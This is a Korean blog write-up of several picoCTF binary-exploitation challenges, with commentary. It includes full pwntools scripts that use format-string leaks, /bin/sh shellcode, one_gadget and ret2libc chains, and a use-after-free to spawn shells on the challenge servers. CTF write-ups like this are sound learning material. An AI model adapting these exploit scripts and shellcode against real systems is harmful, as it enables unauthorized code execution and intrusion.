picoCTF의 pwn 중에서 푼 문제들만 간단하게 롸업 적어보려고 한다. 위의 문제 정도를 풀었는데 16문제 중 8문제.. 딱 절반만 풀었다. ㅎ
Binary Gauntlet 0
fsb 트리거
풀고나서 아이다로 코드 살펴보니, 세폴 뜨면 flag 던져주는 함수가 있었다.
Stonks
솔브 수는 굉장히 많았는데 그 많은 솔브 수에 비해 푸는데 정말 오래 걸렸다;;;;
fsb 트리거 가능
배열 api_buf에 들어가 있는 것은 문자 하나하나가 들어가 있는 것 주소가 아님, flag 하나하나의 값
10진수나 16진수로 printable한 숫자 범위 정도는 딱 봤을 때 눈치를 까야함
너무 작은 수나 너무 큰 수가 포함 안된 경우라고 이해해도 됨
32~126
0x20~0x7e
여기서 저 빨간 네모 부분을 가져와서 변환을 해야한다. <- 여기서 삽질 지리게 했음
ABCDEFGH를 입력하면 DCBAHGFE 이렇게 출력이 된다.
출력을 4글자씩 리틀엔디안으로 햇으니 복구도 4글자씩 거꾸로 해야한다.
a = "6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x346364620x616535320x7d".split('0x')
flag = ''
for i in range(0, len(a)):
flag += a[i].decode('hex')[::-1]
print(flag)
Binary Gauntlet 1
건틀렛 0에서 조금 더 발전한 느낌
fsb 트리거 가능, 하지만 'AAAA' 이렇게 그냥 써버렸다.
buf 주소 출력해주니 쉘코드를 이용 (NX도 안걸려있었다.)
from pwn import *
#p = process('./gauntlet')
p = remote('mercury.picoctf.net', 19968)
e = ELF('./gauntlet')
buf = int(p.recv(14),16)
print(hex(buf))
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
#shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = ''
payload += shellcode
payload += 'A' * (0x70 - len(shellcode))
payload += 'BBBBBBBB'
payload += p64(buf)
#pause()
p.sendline('AAAA')
p.sendline(payload)
p.interactive()
What's your input?
input을 받아 res에 저장하고 res 값과 city(랜덤) 값이 동일하면 플래그를 던져준다.
python2 input 버그
저기에 city 입력하면 "city"가 아니라 city가 들어간다. random.choice(cities).rstrip()
아무튼 City?에 city 적으면 플래그 준다.
이 문제 처음에 실행시켜보다가 아무생각없이 city 적었는데 플래그값 줘서 놀램
Binary Gauntlet 2
fsb 트리거 가능 (fsb는 스택상황을 다ㅏㅏ볼 수 있다.)
offset = leak한 스택주소 - dest주소
dest 주소는 어캐 찾냐? strcpy에서 힙 데이터를 dest 주소에 복사한다. strcpy에 브포 걸면 dest 주소 보임
from pwn import *
#p = process('./gauntlet')
p = remote('mercury.picoctf.net', 49704)
e = ELF('./gauntlet')
#buf = int(p.recv(14),16)
#print(hex(buf))
payload = ''
payload += '%6$p'
p.sendline(payload)
leak = int(p.recv(14), 16)
print(hex(leak))
dest_addr = leak - 0x158
#shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = ''
payload += shellcode
payload += '\x90' * (0x70 - len(shellcode))
payload += 'BBBBBBBB'
payload += p64(dest_addr)
#pause()
p.sendline(payload)
p.interactive()
Binary Gauntlet 3
우분투 18에서 진행해야 한다.
fsb 트리거 스택 주소 구하기, NX bit 안되어서 쉘코드 못씀, onegadget
(16에서 로되리안 걸려서 혹시 몰라 18에서 진행하니 libc_start_main 이거 231칸 떨어져있는것만 고치니 바로 리못 성공했다.)
from pwn import *
#p = process('./gauntlet')
p = remote('mercury.picoctf.net', 22595)
e = ELF('./gauntlet')
libc = ELF('./libc6_2.27.so')
libc_start_main_offset = libc.symbols['__libc_start_main']
oneshot = 0x10a41c
# leak
payload = ''
payload += '%23$p'
p.sendline(payload)
main_ret = int(p.recv(14), 16) # leak
log.info('main_ret = '+hex(main_ret))
libc_base = main_ret - libc_start_main_offset - 231
oneshot_addr = libc_base + oneshot
log.info('libc_base = '+ hex(libc_base))
log.info('oneshot_addr = '+hex(oneshot_addr))
# exploit
# strcpy null x
# ret => oneshot
payload = ''
payload += 'A' * 0x70
payload += 'b' * 0x8 # SFP
payload += p64(oneshot_addr) # RET
#pause()
p.sendline(payload)
p.interactive()
원가젯 쓸 생각 바로바로 하기 ;;;
Here's a LIBC
우분투 18 진행
그냥 평범한 문제. (return to main, libc base 구해서 system('/bin/sh'))
from pwn import *
#p = process('./vuln')
p = remote('mercury.picoctf.net', 49464)
e = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = 0x400913
ret = 0x40052e
oneshot = 0x4f365
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
main = 0x400771
# leak
payload = ''
payload += 'A'*(99+37) # dummy
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main) # return to main
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - puts_offset
print('[+] puts addr = ' + hex(puts_addr))
print('[+] libc base = ' + hex(libc_base))
oneshot_addr = libc_base + oneshot
print('[+] oneshot addr = ' + hex(oneshot_addr))
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
# exploit
payload = ''
payload += 'B'*(99+37) #dummy
#payload += p64(oneshot_addr)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
#pause()
p.sendline(payload)
p.interactive()
조건이 까다로워서 그런가 원가젯이 안박혀서 그냥 system('/bin/sh') 이용했다.
ret 넣어준 이유는 없으니까 안되가지고 넣어줬다...
Unsubscriptions Are Free
uaf
from pwn import *
#p = process('./vuln')
p = remote('mercury.picoctf.net', 48259)
e = ELF('./vuln')
p.sendlineafter('\n', 'M')
p.sendlineafter('\n', 'AAAA')
p.sendlineafter('\n', 'S')
p.recvuntil('OOP! Memory leak...')
leak = int(p.recv(10),16)
print('[+] leak = '+ hex(leak))
p.sendlineafter('\n', 'I')
p.sendlineafter('\n', 'Y')
p.sendlineafter('\n', 'L')
pause()
p.sendlineafter('\n', p32(leak))
p.interactive()
내가 아는 상식상으로 무조건 되어야하는데 안되어가지고 디버깅 해보려고했는데
디버깅할 때 실수로 원격으로 p를 설정해놓고 디버깅했더니...
아래처럼 플래그를 뱉어주었다..ㅇㅅㅇ;;
다시 해보니까 leak 주소를 주기 전에 pause()를 주는 것이 무조건 필요한 것 같았다. (이거 안주면 플래그 안줌)
'CTF > Write UPs' 카테고리의 다른 글
[angstromCTF 2021 : binary] 내가 푼 문제들 풀이 (0) | 2021.04.08 |
---|---|
[Securinets CTF 2021 : pwn] kill shot 풀이 (seccomp, Full RELRO)(수정) (0) | 2021.04.03 |
[Dreamhack CTF Season 1 Round #4 : crypto] Textbook-DH 풀이 (Diffie-Hellman) (0) | 2021.03.18 |
[zer0pts CTF 2021] Not Beginner's Stack 풀이 (64bit, shellcode) (0) | 2021.03.08 |
[HackingCamp CTF 2021 : pwn] vuln 풀이 (출제자 풀이) (0) | 2021.02.25 |